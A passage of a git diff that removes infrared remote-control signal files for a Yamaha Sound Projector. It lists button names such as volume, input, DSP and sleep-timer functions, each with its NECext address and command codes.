-address: 78 00 00 00 -command: 1C 00 00 00 -# -name: FM/XM:_PRESET_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1C 00 00 00 -# -name: FM_A-E -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1D 00 00 00 -# -name: XM_CATEGORY_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1D 00 00 00 -# -name: FM/XM:_PG/CAT+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1F 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 1F 00 00 00 -# -name: CH_LEVEL -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 48 00 00 00 -# -name: LEVEL -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 48 00 00 00 -# -name: LEVEL_TOG -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 48 00 00 00 -# -name: DSP:_LEVEL_TOGGLE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 48 00 00 00 -# -name: INPUT_AUX1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 49 00 00 00 -# -name: INPUT_VCR -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 49 00 00 00 -# -name: INPUT_AUX_1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 49 00 00 00 -# -name: INPUT:_AUX_1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 49 00 00 00 -# -name: INPUT_DVD -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4A 00 00 00 -# -name: INPUT:_DVD -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4A 00 00 00 -# -name: INPUT_FM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4B 00 00 00 -# -name: INPUT:_XM/FM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4E 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4F 00 00 00 -# -name: SLEEP_TOG -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4F 00 00 00 -# -name: SLEEP:_TOGGLE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 4F 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 50 00 00 00 -# -name: SUR_STEREO -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 50 00 00 00 -# -name: BEAM-STEREO -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 50 00 00 00 -# -name: STEREO/5_CH_STEREO -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 50 00 00 00 -# -name: DSP:_BMSTEREOTOG -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 50 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 5F 00 00 00 -# -name: TEST_MODE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 5F 00 00 00 -# -name: TEST_MODE_TOG -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 5F 00 00 00 -# -name: TEST_(DOLBY) -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 5F 00 00 00 -# -name: TEST_TOGGLE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 5F 00 00 00 -# -name: SEARCH_MODE_ALL_CH -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 67 00 00 00 -# -name: FM/XM:_SRCHMD_ALL -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 67 00 00 00 -# -name: SEARCH_MODE_PREST -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 68 00 00 00 -# -name: FM/XM:_SRCHMPRES -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 68 00 00 00 -# -name: DEMO_1_ON -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 6B 00 00 00 -# -name: DEMO_1_ON -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 6B 00 00 00 -# -name: DEMO_1_OFF -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 6C 00 00 00 -# -name: DEMO_1_OFF -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 6C 00 00 00 -# -name: TRUBASS_MID -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 6D 00 00 00 -# -name: DEMO_2_ON -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 6D 00 00 00 -# -name: TRUBASS:_MID -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 6D 00 00 00 -# -name: DSP:_TBASS_ON_MID -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 6D 00 00 00 -# -name: TRUBASS_DEEP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 6E 00 00 00 -# -name: DEMO_2_OFF -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 6E 00 00 00 -# -name: TRUBASS:_DEEP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 6E 00 00 00 -# -name: DSP:_TBASS_ON_DEEP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 6E 00 00 00 -# -name: TRUBASS_OFF -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 6F 00 00 00 -# -name: TRUBASS:_OFF -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 6F 00 00 00 -# -name: DSP:_TBASS_OFF -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 6F 00 00 00 -# -name: PRESET_MEMORY_A -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 70 00 00 00 -# -name: VOLUME_MEMORY_A -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 70 00 00 00 -# -name: PRESET_RECALL_A -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 71 00 00 00 -# -name: VOLUME_RECALL_A -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 71 00 00 00 -# -name: PRESET_MEMORY_B -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 72 00 00 00 -# -name: VOLUME_MEMORY_B -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 72 00 00 00 -# -name: PRESET_RECALL_B -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 73 00 00 00 -# -name: VOLUME_RECALL_B -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 73 00 00 00 -# -name: PRESET_MEMORY_C -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 74 00 00 00 -# -name: VOLUME_MEMORY_C -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 74 00 00 00 -# -name: PRESET_RECALL_C -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 75 00 00 00 -# -name: VOLUME_RECALL_C -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 75 00 00 00 -# -name: MEMORY_SAVE_USER1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 76 00 00 00 -# -name: MEMORY_LOAD_USER1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 77 00 00 00 -# -name: MEMORY_SAVE_USER2 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 78 00 00 00 -# -name: MEMORY_LOAD_USER2 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 79 00 00 00 -# -name: MEMORY_SAVE_USER3 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 7A 00 00 00 -# -name: MEMORY_LOAD_USER3 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 7B 00 00 00 -# -name: TV_EQUAL_VOL_ON -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 7C 00 00 00 -# -name: TV_MODE:_ON -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 7C 00 00 00 -# -name: DSP:_TV_MODE_ON -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 7C 00 00 00 -# -name: INPUT_XM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 7D 00 00 00 -# -name: INPUT:_XM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 7D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 7E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 7F 00 00 00 -# -name: VOL_MODE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8A 00 00 00 -# -name: NIGHT_TOG -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8A 00 00 00 -# -name: VOLUME_MODE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8A 00 00 00 -# -name: DSP:_VOL_MODE_TOG -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8A 00 00 00 -# -name: TRUBASS_TOG -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8B 00 00 00 -# -name: SRS_TRUBASS -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8B 00 00 00 -# -name: DSP:_TBASS_TOGG -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8B 00 00 00 -# -name: INPUTMODE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8D 00 00 00 -# -name: INPUT_MODE:_TOGGLE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8D 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8E 00 00 00 -# -name: SET_MENU_UP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8E 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8E 00 00 00 -# -name: SET:_CURSOR_UP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8F 00 00 00 -# -name: SET_MENU_DOWN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8F 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8F 00 00 00 -# -name: SET:_CURSOR_DOWN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 8F 00 00 00 -# -name: SUR_DECODE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 99 00 00 00 -# -name: SURROUND_TOG -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 99 00 00 00 -# -name: DSP:_T_SURROUND -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 99 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9B 00 00 00 -# -name: SUR_OFF -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9B 00 00 00 -# -name: DSP_OFF -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9B 00 00 00 -# -name: CINEMA_DSP:_OFF -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9B 00 00 00 -# -name: DSP:_CDSP_OFF -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9B 00 00 00 -# -name: VOLUME_MUTE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9C 00 00 00 -# -name: MUTE_TOG -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9C 00 00 00 -# -name: NIGHT_MODE_OFF -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9C 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9D 00 00 00 -# -name: SET_MENU -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9D 00 00 00 -# -name: SET_MENU_TOG -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9D 00 00 00 -# -name: SET:_SET_MENU -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9D 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9E 00 00 00 -# -name: SET_MENU_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9E 00 00 00 -# -name: SET_MENU_RIGHT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9E 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9E 00 00 00 -# -name: SET:_CURSOR_RIGHT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9E 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9F 00 00 00 -# -name: SUR_A-E -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9F 00 00 00 -# -name: SET_MENU_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9F 00 00 00 -# -name: SET_MENU_LEFT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9F 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9F 00 00 00 -# -name: SET:_CURSOR_LEFT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: 9F 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 78 00 00 00 -command: A2 00 00 00 -# -name: AUTO_SETUP -type: parsed -protocol: NECext -address: 78 00 00 00 -command: A3 00 00 00 -# -name: AUTO_INTELLIBEAM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: A3 00 00 00 -# -name: INTELLIBEAM_START -type: parsed -protocol: NECext -address: 78 00 00 00 -command: A3 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 78 00 00 00 -command: A3 00 00 00 -# -name: SET:_IBM_START_TRIGG -type: parsed -protocol: NECext -address: 78 00 00 00 -command: A3 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: A5 00 00 00 -# -name: FM_PRESET/TUNE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: A8 00 00 00 -# -name: PRESET/TUNE_MODE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: A8 00 00 00 -# -name: FM/XM:_PRES/TUNE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: A8 00 00 00 -# -name: TUNING-/PRESET- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: A9 00 00 00 -# -name: FM/XM:_TUN/PRE- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: A9 00 00 00 -# -name: TUNING+/PRESET+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: AA 00 00 00 -# -name: FM/XM:_TUN/PRE+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: AA 00 00 00 -# -name: PRESET_E_CATEGORY -type: parsed -protocol: NECext -address: 78 00 00 00 -command: AB 00 00 00 -# -name: FM/XM:_PAGE_E -type: parsed -protocol: NECext -address: 78 00 00 00 -command: AB 00 00 00 -# -name: PRESET_D_CATEGORY -type: parsed -protocol: NECext -address: 78 00 00 00 -command: AC 00 00 00 -# -name: FM/XM:_PAGE_D -type: parsed -protocol: NECext -address: 78 00 00 00 -command: AC 00 00 00 -# -name: PRESET_C_CATEGORY -type: parsed -protocol: NECext -address: 78 00 00 00 -command: AD 00 00 00 -# -name: FM/XM:_PAGE_C -type: parsed -protocol: NECext -address: 78 00 00 00 -command: AD 00 00 00 -# -name: PRESET_B_CATEGORY -type: parsed -protocol: NECext -address: 78 00 00 00 -command: AE 00 00 00 -# -name: FM/XM:_PAGE_B -type: parsed -protocol: NECext -address: 78 00 00 00 -command: AE 00 00 00 -# -name: PRESET_A_CATEGORY -type: parsed -protocol: NECext -address: 78 00 00 00 -command: AF 00 00 00 -# -name: FM/XM:_PAGE_A -type: parsed -protocol: NECext -address: 78 00 00 00 -command: AF 00 00 00 -# -name: AUTO_SEARCH_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: B0 00 00 00 -# -name: FM/XM:_AUTO_SRCH- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: B0 00 00 00 -# -name: AUTO_SEARCH_+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: B1 00 00 00 -# -name: FM/XM:_AUTO_SRCH+ -type: parsed -protocol: NECext -address: 78 00 00 00 -command: B1 00 00 00 -# -name: FM_MEMORY -type: parsed -protocol: NECext -address: 78 00 00 00 -command: B2 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 78 00 00 00 -command: B2 00 00 00 -# -name: FM/XM:_MEMORY -type: parsed -protocol: NECext -address: 78 00 00 00 -command: B2 00 00 00 -# -name: INPUT_FM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: B6 00 00 00 -# -name: INPUT:_FM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: B6 00 00 00 -# -name: FM_SEARCH -type: parsed -protocol: NECext -address: 78 00 00 00 -command: B7 00 00 00 -# -name: FM/XM:_SRCH_MODE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: B7 00 00 00 -# -name: XM_DISPLAY -type: parsed -protocol: NECext -address: 78 00 00 00 -command: B8 00 00 00 -# -name: FM/XM:_XM_DISPLAY -type: parsed -protocol: NECext -address: 78 00 00 00 -command: B8 00 00 00 -# -name: XM_CATEGORY_- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: BB 00 00 00 -# -name: FM/XM:_PG/CAT- -type: parsed -protocol: NECext -address: 78 00 00 00 -command: BB 00 00 00 -# -name: INPUT_AUX3 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: BC 00 00 00 -# -name: INPUT_AUX_3 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: BC 00 00 00 -# -name: INPUT:_AUX_3 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: BC 00 00 00 -# -name: XM_ENTER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: BD 00 00 00 -# -name: FM/XM:_XM_ENTER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: BD 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C0 00 00 00 -# -name: SET_MENU_RETURN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C0 00 00 00 -# -name: SET:_RETURN -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C0 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C1 00 00 00 -# -name: SET_MENU_SELECT -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C1 00 00 00 -# -name: SET_MENU_ENTER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C1 00 00 00 -# -name: SET:_ENTER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C1 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C2 00 00 00 -# -name: SUR_5BEAM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C2 00 00 00 -# -name: BEAM-5BEAM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C2 00 00 00 -# -name: 5_BEAM_MODE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C2 00 00 00 -# -name: DSP:_BM_5_BEAM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C2 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C3 00 00 00 -# -name: SUR_ST+3BEAM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C3 00 00 00 -# -name: BEAM-ST+3BEAM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C3 00 00 00 -# -name: ST+3_BEAM_MODE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C3 00 00 00 -# -name: DSP:_BM_ST+3_BEA -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C3 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C4 00 00 00 -# -name: SUR_3BEAM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C4 00 00 00 -# -name: BEAM-3BEAM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C4 00 00 00 -# -name: 3_BEAM_MODE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C4 00 00 00 -# -name: DSP:_BM_3_BEAM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C4 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C5 00 00 00 -# -name: SUR_MY_BEAM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C5 00 00 00 -# -name: BEAM-TARGET -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C5 00 00 00 -# -name: BEAM-MY_BEAM_AUTO -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C5 00 00 00 -# -name: DSP:_BM_MY_BEAM -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C5 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C6 00 00 00 -# -name: SUR_MY_SUR -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C6 00 00 00 -# -name: DSP:_BM_MY_SURR. -type: parsed -protocol: NECext -address: 78 00 00 00 -command: C6 00 00 00 -# -name: ENHANCER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: CB 00 00 00 -# -name: MUSIC_ENHANCER_TOGGL -type: parsed -protocol: NECext -address: 78 00 00 00 -command: CB 00 00 00 -# -name: DSP:_M_ENHAN_TOG -type: parsed -protocol: NECext -address: 78 00 00 00 -command: CB 00 00 00 -# -name: DSP:_T_MUSIC_ENHA -type: parsed -protocol: NECext -address: 78 00 00 00 -command: CB 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 78 00 00 00 -command: CC 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: D9 00 00 00 -# -name: SUR_MOVIE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: D9 00 00 00 -# -name: DSP_MOVIE_TOG -type: parsed -protocol: NECext -address: 78 00 00 00 -command: D9 00 00 00 -# -name: CINEMA_DSP_(MOVIE)_T -type: parsed -protocol: NECext -address: 78 00 00 00 -command: D9 00 00 00 -# -name: DSP:_T_CDSP_MOVIE -type: parsed -protocol: NECext -address: 78 00 00 00 -command: D9 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DA 00 00 00 -# -name: SUR_MUSIC -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DA 00 00 00 -# -name: DSP_MUSIC_TOG -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DA 00 00 00 -# -name: CINEMA_DSP_(MUSIC)_T -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DA 00 00 00 -# -name: DSP:_T_CDSP_MUSIC -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DA 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DB 00 00 00 -# -name: SUR_SPORTS -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DB 00 00 00 -# -name: CINEMA_DSP_(SPORTS) -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DB 00 00 00 -# -name: DSP:_CDSP_SPORTS -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DB 00 00 00 -# -name: INPUT_AUX2 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DE 00 00 00 -# -name: INPUT_AUX -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DE 00 00 00 -# -name: INPUT_AUX_2 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DE 00 00 00 -# -name: INPUT:_AUX_2 -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DE 00 00 00 -# -name: INPUT_STB -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DF 00 00 00 -# -name: INPUT_TV -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DF 00 00 00 -# -name: INPUT_TV/STB -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DF 00 00 00 -# -name: MUTE_20% -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DF 00 00 00 -# -name: INPUT:_TV/STB -type: parsed -protocol: NECext -address: 78 00 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir deleted file mode 100644 index be1619469..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir +++ /dev/null @@ -1,452 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DSP_PLII_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: PL_II_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: DSP:_PLII_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 67 00 00 00 -# -name: DSP_PLII_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 68 00 00 00 -# -name: PL_II_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 68 00 00 00 -# -name: DSP:_PLII_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 68 00 00 00 -# -name: DSP_NEO:6_CIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: NEO:6_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: DSP:_NEO6_MOVIE -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 69 00 00 00 -# -name: DSP_NEO:6_MUS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6A 00 00 00 -# -name: NEO:6_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6A 00 00 00 -# -name: DSP:_NEO6_MUSIC -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 6A 00 00 00 -# -name: INPUT_MODE_TOG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 8D 00 00 00 -# -name: NIGHT_MODE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9B 00 00 00 -# -name: NIGHT_MODE_CINEMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9B 00 00 00 -# -name: NIGHT_MODE:_CINEMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9B 00 00 00 -# -name: DSP:_NIGHT_CINEMA -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9B 00 00 00 -# -name: NIGHT/TV_MODE:_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9C 00 00 00 -# -name: DSP:_NIGHT/TV_M_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: 9C 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A2 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A3 00 00 00 -# -name: INPUT_MODE_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A6 00 00 00 -# -name: INPUT_MODE:_AUTO -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A6 00 00 00 -# -name: INPUT_MODE_DTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A8 00 00 00 -# -name: INPUT_MODE:_DTS -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: A8 00 00 00 -# -name: INPUT_MODE_ANALOG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AA 00 00 00 -# -name: INPUT_MODE:_ANALOG -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: AA 00 00 00 -# -name: SLEEP_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B3 00 00 00 -# -name: SLEEP:_OFF -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B3 00 00 00 -# -name: SLEEP_120 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B4 00 00 00 -# -name: SLEEP_TIMER:_120_MIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B4 00 00 00 -# -name: SLEEP:_120MIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B4 00 00 00 -# -name: SLEEP_90 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B5 00 00 00 -# -name: SLEEP_TIMER:_90_MIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B5 00 00 00 -# -name: SLEEP:_90MIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B5 00 00 00 -# -name: SLEEP_60 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B6 00 00 00 -# -name: SLEEP_TIMER:_60_MIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B6 00 00 00 -# -name: SLEEP:_60MIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B6 00 00 00 -# -name: SLEEP_30 -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B7 00 00 00 -# -name: SLEEP_TIMER:_30_MIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B7 00 00 00 -# -name: SLEEP:_30MIN -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: B7 00 00 00 -# -name: DSP_PLII_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C7 00 00 00 -# -name: PL_II_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C7 00 00 00 -# -name: DSP:_PLII_GAME -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: C7 00 00 00 -# -name: NEURAL_SURROUND -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CC 00 00 00 -# -name: DSP:_NEURAL -type: parsed -protocol: NECext -address: 7E 00 00 00 -command: CC 00 00 00 -# -name: NIGHT_MODE_MUS -type: parsed -protocol: NECext -address: 7E 00 00 00 